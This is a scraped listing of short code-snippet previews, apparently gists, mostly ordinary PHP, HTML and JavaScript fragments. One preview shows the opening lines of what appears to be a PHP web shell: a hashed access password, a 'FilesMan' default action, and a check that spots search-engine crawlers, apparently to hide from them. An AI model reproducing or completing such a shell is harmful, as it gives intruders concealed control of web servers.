This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| function generatePassword($length=8, $strength=0) { | |
| $vowels = 'aeuy'; | |
| $consonants = 'bdghjmnpqrstvz'; | |
| if ($strength & 1) { | |
| $consonants .= 'BDGHJLMNPQRSTVWXZ'; | |
| } | |
| if ($strength & 2) { | |
| $vowels .= "AEUY"; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <ul class="slides"> | |
| <li> | |
| <img src="assets/img/slide1.jpg" /> | |
| <div class="flex-caption"> | |
| <h3>Valera - Responsive template!</h3> | |
| <p>Powerful site template designed in a clean and minimalistic style. <br><br><a class="btn btn-success btn-small" style="margin-right:10%" href="http://themeforest.net/item/valera-responsive-html-template/2194402?ref=OrangeIdea"><i class="icon-download-alt icon-white"></i> Purchase for 15$</a></p> | |
| </div> | |
| </li> | |
| <li> | |
| <img src="assets/img/slide1-1.jpg" /> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| define('_PS_MYSQL_REAL_ESCAPE_STRING_', function_exists('mysql_real_escape_string')); | |
| define('_PS_MAGIC_QUOTES_GPC_', get_magic_quotes_gpc()); | |
| /** | |
| * Convert \n to | |
| * @param string $string String to transform | |
| * @return string New string |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| passwordVerifyInput.change(function () { | |
| if (passwordVerifyInput.val() == passwordInput.val()) { | |
| passwordVerifyInput[0].setCustomValidity(''); | |
| } else { | |
| passwordVerifyInput[0].setCustomValidity('Passwords Do Not Match'); | |
| } | |
| }); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| if($vars['region'] != 'hireme') | |
| { | |
| $vars['classes_array'][] = 'one_panel'; | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php if ($content): ?> | |
| <div id="<?php print $id ?>" class="<?php print $classes; ?>"> | |
| <?php print $content; ?> | |
| </div> | |
| <?php endif; ?> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| $auth_pass = "63a9f0ea7bb98050796b649e85481845"; | |
| $color = "#df5"; | |
| $default_action = 'FilesMan'; | |
| $default_use_ajax = true; | |
| $default_charset = 'Windows-1251'; | |
| #+Dump Columns ////Boolean | |
| if(!empty($_SERVER['HTTP_USER_AGENT'])) { | |
| $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler"); | |
| if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| window.uknowGeofence = function() { | |
| newwindow = window.open('/app2/webservice/api/v1/pages/map/geofence/','Geofence','height='+screen.availHeight+',width='+screen.availWidth); | |
| if (window.focus) {newwindow.focus();} | |
| return false; | |
| }; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| if(isset($_GET['item']) && trim($_GET['item']) != '') { | |
| // realizo funciones para mostrar el elemento/item | |
| } else { | |
| // muestro el contenido de el index | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| function sumNumber(numberToSum) { | |
| var numbers = []; | |
| for(var i = 0; i<numberToSum; i++) { | |
| numbers.push(i+1); | |
| } | |
| return eval(numbers.join('+')); | |
| } |
OlderNewer